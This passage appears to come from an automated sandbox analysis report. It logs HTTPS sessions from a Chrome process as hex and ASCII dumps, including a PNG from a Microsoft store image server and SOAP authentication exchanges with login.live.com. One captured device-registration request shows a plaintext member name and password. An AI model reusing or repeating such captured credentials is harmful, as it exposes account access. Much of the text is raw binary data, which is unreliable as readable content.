a4 e3 38 f5 1d 50 6b 6c a7 d6 0e 35 6e 44 0c 7f 6a 3d 5d 9e 67 08 f1 40 e3 4c 6a 7a eb 20 95 70 e4 0a ca d0 8e ef 4e 92 
e4 56 39 4b d0 ee f3 5f 16 b4 e3 d1 49 1d aa a9 0c f5 55 
Data Ascii: YS<Goh&yecG1!JuCl0,mynyC9rd<3!=-!FlK&Pbpm>C `wp{. Mrca$eKxG&-OKvp fTwH"Fcl!k8Pkl5nDj=]g@Ljz 
pNV9K_IU

2022-07-01 09:00:59 UTC 1690 IN Data Raw: d8 e3 b3 64 1f 70 35 29 0c da ad ed 87 b7 1c 6b 97 f3 c1 ee 0e f7 1c 4f 0f 1f b0 79 ac 9e 4d 45 25 b8 b9 55 45 
59 15 41 32 76 90 34 e2 22 0a 89 02 33 8c 86 0b 16 1b ed ca ed 5f 2d 6b 61 36 e1 25 b5 c0 63 14 6c 11 84 32 10 ae fa 
98 85 aa 10 f2 a2 57 d6 d1 e9 a1 c5 2b c2 3c 12 c8 d9 75 cf 1f 5f e6 1f 91 43 c7 1c 65 e4 05 8f 08 c3 94 64 8b c7 39 ec 
5e 68 e3 ee 36 cd 6a 5b 16 14 50 e1 d5 76 b9 06 39 7c 85 33 ab 0b 35 d1 c1 11 8c 90 45 d0 09 d7 59 38 ce eb b3 70 28 
e6 4e 18 2f ee ed b7 ad 8e cd bb 97 6b f8 51 ee 16 f7 96 77 73 08 5d 54 44 e5 49 8b b9 12 12 f0 90 03 b1 05 71 56 bd ca 
e7 b7 73 5a 47 bd 49 60 90 de 26 f3 b8 ec a7 70 d0 15 ee 6d 06 db 7f 71 06 a2 cc d7 32 47 6f 71 03 46 a6 60 88 ef 23 b4 
23 fc c3 88 a5 6d ad 15 3b 6b 93 17 52 86 a2 57 2e f9 37 77 
Data Ascii: dp5)kOyME%UEYA2v4"3_-ka6%cl2W+<u_Ced9^h6j[Pv9|35EY8p(N/kQws]TDIqVsZGI`&pmq2Goq
F`##m;kRW.7w

2022-07-01 09:00:59 UTC 1706 IN Data Raw: 4e eb c3 22 8a d3 6d da 2e 77 9b c9 86 53 45 1c 8d 6f 16 74 a4 ad 12 bb 34 87 a8 8d 42 d4 75 61 89 df 91 be 
45 da 60 98 25 04 bc 76 0f 36 1a ea ee d2 43 87 75 c8 b4 a0 c2 23 5d 52 0e 12 35 65 52 61 f3 24 93 21 8d 5e fb 04 45 69 
e5 b4 0a e6 b7 f9 17 77 a7 ad a7 67 37 fb 81 86 74 b1 82 d6 38 aa 7b 33 3d cb 6b 2d d1 a6 0a b1 31 03 a8 88 15 a9 eb 
96 1e 78 4f 29 f7 1e f2 d2 5d f7 99 6d ef 63 b6 ce 14 5b 23 c4 b0 b3 11 52 cc 23 d6 f2 85 a5 33 94 d4 e4 40 18 4f f9 ef 22 
67 d9 fd 99 6e 6f 6c 0d 13 62 bf db b5 e7 71 8c c5 77 fe b0 fd 10 41 92 a8 9a 21 13 73 da 9f ca ad 5f 5e 8a fb 55 8e df 61 
18 86 d9 43 31 ea 69 fb be 8f 86 17 ee bb 95 ee ec df 8a c5 61 1e 15 eb f4 e2 b3 ae a3 14 a2 8e 1c 44 77 72 41 37 c8 2e 
8a e5 46 aa ea f7 3d 5d ab b7 bd ca aa ba ae ae 5f 8f 
Data Ascii: N"m.wSEot4BuaE`%v6Cu#]R5eRa$!^Eiwg7t8{3=k-1xO)]mc[#R#3@O"gnolbqwA!s_^UaC1iaDwrA7.F=]_

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:59 UTC 1722 IN Data Raw: c8 f1 bb 21 e4 78 d5 bd 04 e2 4c a8 c7 b2 19 4d 61 ac 52 ae 51 02 15 99 81 65 cb f5 10 4d 45 6c 33 3b 5d 15 
8a e5 74 5e c3 91 6d 9b d4 7f 98 ed a2 58 68 d9 ac a9 a1 d0 9e b5 5a 9f 43 7d e1 f7 49 27 a1 38 8a df ec d7 3b 6c ed 6f 
75 a6 58 d9 34 b1 53 51 22 0f b2 6b 95 25 8f a0 3d 58 0f 30 31 f2 3c db f4 bd ff 00 ea 11 c4 70 28 b2 27 3a 2e 51 42 8a 8f 
4a bb 38 c8 e6 15 e1 6a 2e c7 ba b9 25 91 1b a7 a4 aa b9 2e 6a 2e a8 37 35 6a 4f 1c b1 b5 8c a3 f0 d8 d5 7c 74 b0 e9 9f 
8d 01 d3 e4 c8 c3 0a e0 84 6e 16 e2 de 43 ff 00 3b 10 a2 b7 f3 a9 e9 5f a6 80 ff 00 75 d7 e9 04 9a c7 b3 b3 63 12 69 b2 
ba 79 48 75 ab 09 5b b9 8f dc cb 5c 72 6a 0c 73 61 1d 35 d8 52 47 18 58 ff 00 5f f3 c7 d5 3f 9b a1 5e f3 b3 aa dc cd b6 4a 
29 6b 75 19 50 4f 40 49 aa 9f f7 24 00 fc 05 71 95 
Data Ascii: !xLMaRQeMEl3;]t^mXhZC}I'8;louX4SQ"k%=X01<p(':.QBJ8j.%.j.75jO|tnC;_uciyHu[\rjsa5RGX_?^J)kuPO@I$q

2022-07-01 09:00:59 UTC 1730 IN Data Raw: 76 d6 c8 23 bf 0d ba f5 5d 76 bb 5a 5d 33 f8 2b 4c 3e 90 55 07 f5 d3 12 bb 66 5a 07 f0 21 3f ac 9f ea 38 85 f8 
2f 83 40 b1 be e5 3c aa 47 6e 38 32 5e 52 c7 a8 cf 2c 8c 57 fb 7a 0c 2b 11 a7 b9 b4 63 11 8a 8a 57 49 b2 9c 34 46 a6 88 
ae 62 2a aa 22 75 9c fb 70 93 e7 2d 6c d0 12 d1 5b b3 81 fd f9 1b 48 3f 50 5e bf 1c 58 ff 00 66 ec 82 d8 dd 6e e4 50 bb 
2c 48 7e 85 a9 a7 d2 58 7e cc 37 ce 33 80 3c 9e df 21 cb 1d 0f 20 b0 8f 8c 1a 63 dd 01 e3 00 52 8a e2 48 10 34 53 41 5e 
78 f3 22 92 75 90 a4 8d 23 48 2b 1c 36 6f 57 fc 59 d0 e2 f6 e1 90 97 91 a2 55 54 00 1c ff 00 10 d4 fa 6a 08 34 4a 16 65 
06 b9 01 d0 e0 fb bb 5b d7 6c b5 e3 36 8b 29 b9 bb 94 77 17 a1 8e 25 a1 2d 4a 11 59 09 0a ac 72 a1 27 c3 17 e6 35 84 
cf ce a6 4c a6 c7 32 30 94 53 ac 01 5e 59 73 eb ec cd 3b 
Data Ascii: v#]vZ]3+L>UfZ!?8/@<Gn82^R,Wz+cWI4Fb*"up-l[H?P^XfnP,H~X~73<! cRH4SA^x"u#H+6oWYUTj4Je[l6)w%-
JYr'5L20S^Ys;

2022-07-01 09:00:59 UTC 1746 IN Data Raw: 81 2b 0f 04 8e 86 9a d6 bb 97 ac 67 39 55 55 55 55 57 55 55 55 5f 5e bf 37 81 d0 0a 00 00 c7 57 84 c0 64 29 
4c 44 f3 ae 39 c4 79 43 0e c8 b8 f3 3e a1 83 93 61 b9 7d 5c 9a 5c 82 8e c8 0c 3c 59 b0 66 0d 46 e5 44 7a 2a 82 5c 67 2a 
16 39 d8 ad 2c 73 31 a4 1b 9a f6 a2 a4 83 8a f2 fe 41 c1 79 1d 9f 31 e2 57 72 d8 f2 4d ba 75 9a de 78 d8 ab 23 a1 a8 e9 
f6 91 87 a6 44 6a ac 88 59 1c 15 62 30 d1 bf 6d 7b 57 23 da 2e 36 4d ea 08 ee 36 cb 98 99 24 8d c5 43 29 1f b8 8c 88 61 
46 56 01 94 86 00 8f e7 d7 cb 58 78 f8 cf 95 b9 3f 8d c3 35 6c 41 c7 fc 89 9a e1 51 ec 1c a8 e7 ce 8d 8b 64 96 54 91 a5 
91 cd fa 5c 59 00 84 d7 3d 53 d3 7a af 5f ae 3e 01 cb 1f 9a f0 3d 93 99 4b 18 86 5d db 67 b3 bc 68 c7 44 6b 9b 78 e6 64 
1f 05 67 20 7c 00 c7 12 79 2e ce bb 07 24 dc 36 24 6e e2 
Data Ascii: +g9UUUUWUUU_^7Wd)LD9yC>a}\\<YfFDz*\g*9,s1Ay1WrMux#DjYb0m{W#.6M6$C)aFVXx?5lAQdT
\Y=Sz_>=K]ghDkxdg |y.$6$n

2022-07-01 09:00:59 UTC 1754 IN Data Raw: 4e 1f 5d 87 f8 49 8c d8 8e 4c c6 0a b2 c7 9c b9 5b 15 b2 c6 71 0a 21 39 a2 46 cf c0 f8 d0 8f 7d ce 63 61 28 44 
52 8a 4d b3 a1 43 0a b7 55 8a 6d cd e8 7f c9 38 27 15 e3 fb b3 6e be f1 4d 1b c8 1c b4 7b 65 8c c9 71 73 21 fe 4b 9b b5 
1d ab 75 07 22 90 09 64 3d 3b a9 4c 2e b4 b8 bd bd 91 6d 38 c3 15 90 fd a9 e5 05 55 3e 29 16 65 d8 f5 05 fd 23 f9 0e 09 
0c 07 c2 9e 48 64 d4 ce ae 79 2a b7 37 e4 89 ea ae ca b9 1b 23 c3 a8 0b 90 cf 96 20 1d ac 58 36 36 a4 c8 a6 d6 c5 ae 
90 45 74 70 83 b2 26 91 a8 8a ce da 2b 7a 80 ef de ff 00 6c ea bf 92 6d db 57 c8 71 d8 4d 22 b3 5b 89 55 15 49 a1 2e 91 
88 55 cb 52 85 9c b3 1f 3a e7 87 e8 b8 56 e2 91 77 c4 dd fd c1 89 ac b3 28 d4 c7 a7 a7 ed 11 42 72 cc 0f 0a 53 00 f7 97 
78 0c 7c 4c 80 e3 ec d7 c8 3f 27 79 4f 3d c8 14 67 a9 e2 
Data Ascii: N]IL[q!9F}ca(DRMCUm8'nM{eqs!Ku"d=;L.m8U>)e#Hdy*7# X66Etp&+zlmWqM"[UI.UR:Vw(BrSx|L?'yO=g

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

9 192.168.2.5 49737 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:35 UTC 86 OUT GET /image/apps.39478.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.8ad1b690-ff36-44fa-8afc-
0dc5bed1273c?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:35 UTC 87 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 37622
Content-Type: image/png
Last-Modified: Thu, 30 Sep 2021 03:30:15 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyOUU1MTM1NDQ"
MS-CV: YXEQRcwIqUCuqc/O.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:35 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:35 UTC 87 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 92 
bd 49 44 41 54 78 01 ec 9a 81 6e db 38 10 44 09 20 52 72 69 3e e3 92 d8 76 74 77 ff ff 75 e7 68 db 07 25 43 10 cb 2e 49 
cb 85 81 01 31 5a 53 6e 52 e8 65 96 a4 d2 c3 f4 77 56 93 68 36 a9 e6 d7 ad 5f f5 f6 45 8f 5b 6f a2 6e 66 80 0e ab de 37 
3a 4c 4f ef ab 0e 95 3a ae c2 33 22 8a 36 d6 eb 2e fd af de 88 a2 53 f3 45 8f 87 e9 d1 cc fb 74 d1 cf e2 db 30 f1 c0 63 50 
da 50 87 31 e4 1c f8 a1 f9 6d 45 51 f0 13 35 41 ce 28 92 ca 6a 80 aa bb 8e 5b df 4e a7 e9 af 5c 05 23 e3 c6 9c 4c e8 52 
b7 2f b1 4f b3 d3 0a 77 71 2f f5 ef 5f a5 33 a9 c4 a5 b0 f5 95 20 ba 3e 54 d3 65 7c 6a 0f a4 c9 7c 02 3f c0 9b 31 25 59 e8 
99 ca bc 61 02 7a 7a fb 8c 2c 23 cd 08 24 c4 6c c4 
Data Ascii: PNGIHDR,,"IDATxn8D Rri>vtwuh%C.I1ZSnRewVh6_E[onf7:LO:3"6.SEt0cPP1mEQ5A(j[N\#LR/Owq/_3 >Te|j|?
1%Yazz,#$l

2022-07-01 09:00:36 UTC 103 IN Data Raw: 9f 09 6e 39 ec 8d 6c 41 04 8c 2d f5 1d b9 88 b9 d6 9f 16 88 54 87 ed 3b 62 fb 0e 8e cc 43 c9 e0 f6 4e 55 91 0f 
4c a7 48 31 8c 02 45 d8 ae a2 a8 ca 09 20 81 a5 90 0e 42 d9 4e 42 e9 8a 44 b3 b7 3a 7c f2 4a ab b1 56 d3 75 92 3c a2 
e3 ed 32 48 2e 01 a1 08 bd f8 30 f6 2c 10 c8 ea 59 09 36 17 a8 d3 ae fd d8 ed 2e 75 04 be 99 ad 61 83 26 fd 92 96 6e a7 
c8 41 f2 7f cd 83 d2 0f c4 89 6f d9 38 95 3d 15 42 f2 8e b2 94 6c a6 2d 8b a1 fb fc e6 2c df 52 b5 6f 64 87 c5 80 2b 37 ee 
7b 77 0b 43 bb f4 9f 8d 91 af fc d8 75 e0 2c 83 27 5b 99 38 4a 90 f4 19 b1 90 fe 84 2b eb df db d1 2f ef df 8d 1d 64 e4 94 
55 ec 20 69 b3 06 e2 5a c7 57 7e 2c 5c b5 07 07 84 a5 a5 23 93 49 17 03 28 5b f0 96 6f 90 c1 73 2e d7 a0 6b 81 6a 6d 
25 3f 16 e2 71 60 6d f4 55 35 8c 24 7a 21 bb aa 7b ee 
Data Ascii: n9lA-T;bCNULH1E BNBD:|JVu<2H.0,Y6.ua&nAo8=Bl-,Rod+7{wCu,'[8J+/dU iZW~,\#I([os.kjm%?q`mU5$z!{
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2022-07-01 09:00:36 UTC 111 IN Data Raw: d9 34 35 ea 0e 87 2a 84 d9 dd e9 a7 04 66 d1 e4 c4 ef 3c 7b 29 7e be 40 37 81 53 39 67 f2 6a 9b a4 c9 9e f7 
3a ee 01 78 f8 14 43 02 3b f1 cb 0a 9b d5 16 3d 6d 1c ab 11 91 37 0f 89 dd b3 1d 30 13 fe 6c ac ed 08 e0 58 0f 7b f2 9b 
da c7 f6 fc ed 1f 48 83 e5 6f 37 d2 53 17 6b b9 4f f2 d3 c4 87 8b 19 44 e4 90 04 52 ef e4 da f1 4d ad 6d c9 bd 73 e9 3f ea 
11 9f 11 3c 6a 28 32 f8 05 0d d6 74 bf 70 b1 41 16 d9 a3 3a e7 74 23 0b 62 d3 38 26 f5 95 9d 25 ab c0 c0 0c 41 51 ea 2b 
9c ac 0f 9e 5a dc a6 71 b3 d4 2f 02 c6 71 7b ae 34 8e 21 a2 59 37 b7 a3 43 dc c4 b8 aa 2e 73 a3 07 36 8f 4e ff f8 e7 bf a7 
e6 59 54 4f 08 e2 26 29 18 44 53 4c e6 22 65 32 a2 b1 c4 fa b9 c7 1d 82 d2 79 3f 4a 56 3b 82 9b b0 c8 61 8c 62 bd a3 a0 
b5 c4 19 7d 0f 32 eb 7e de f7 ee 8e 39 a5 e4 9f 66 
Data Ascii: 45*f<{)~@7S9gj:xC;=m70lX{Ho7SkODRMms?<j(2tpA:t#b8&%AQ+Zq/q{4!Y7C.s6NYTO&)DSL"e2y?JV;ab}2
~9f

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

90 192.168.2.5 49855 20.190.159.71 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:15 UTC 1759 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 3592
Host: login.live.com

2022-07-01 09:01:15 UTC 1760 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-07-01 09:01:15 UTC 1763 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:15 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 811d304f-e3a9-40fe-abd8-7f1017074876
PPServer: PPV: 30 H: BL02PF5CCA99D33 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:14 GMT
Connection: close
Content-Length: 1276

2022-07-01 09:01:15 UTC 1764 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID Source IP Source Port Destination IP
Destination
Port

Process

91 192.168.2.5 49856 20.190.159.71 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:15 UTC 1765 OUT POST /ppsecure/deviceaddcredential.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 7598
Host: login.live.com

2022-07-01 09:01:15 UTC 1766 OUT Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 
49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 31 38 3c 2f 
42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 
69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 61 67 75 75 65 69 6f 64 68 69 62 66 61 6e 3c 2f 4d 65 6d 62 65 72 
6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 52 30 60 68 4b 45 2c 65 42 62 6d 2c 78 53 56 28 49 4f 76 24 3c 2f 50 61 73 
73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 
71 66 6a 6b 61 7a 63 78 71 78 65 6b 78 73 3c 2f 4f 6c 64 4d 
Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>18</BinaryVersion></Client
Info><Authentication><Membername>02aguueiodhibfan</Membername><Password>R0`hKE,eBbm,xSV(IOv$</Passwo
rd></Authentication><OldMembername>02qfjkazcxqxekxs</OldM

2022-07-01 09:01:17 UTC 1773 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: text/xml
Expires: Fri, 01 Jul 2022 09:00:15 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: a7ec4009-4ffa-4fbf-a2f5-bc795310ae1f
PPServer: PPV: 30 H: BL02PF47F821D39 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:16 GMT
Connection: close
Content-Length: 17166

2022-07-01 09:01:17 UTC 1774 IN Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 
75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 30 37 34 43 37 44 
42 31 44 34 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 
54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 6
3 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 39 39 32 35 
64 39 63 38 2d 30 65 37 63 2d 34 66 33 33 2d 61 31 38 66 2d 38 63 30 38 62 31 34 61 35 35 63 62 22 20 4c 69 63 65 6e 
73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 
Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001840074C7DB1D4</puid><D
eviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="
9925d9c8-0e7c-4f33-a18f-8c08b14a55cb" LicenseID="3252b20c-d425-4711

2022-07-01 09:01:17 UTC 1789 IN Data Raw: 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 
65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 
64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 
6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 
6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 
73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 
75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 38 53 
Data Ascii: ://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://w
ww.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestV
alue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf8S

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

92 192.168.2.5 49857 20.190.159.71 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:18 UTC 1790 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 
10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 3592
Host: login.live.com
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2022-07-01 09:01:18 UTC 1791 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-07-01 09:01:18 UTC 1794 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:18 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 5ce5aa04-2449-4ab6-8db4-c273f494d3e9
PPServer: PPV: 30 H: BL02PF671051CE6 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:17 GMT
Connection: close
Content-Length: 11300

2022-07-01 09:01:18 UTC 1795 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
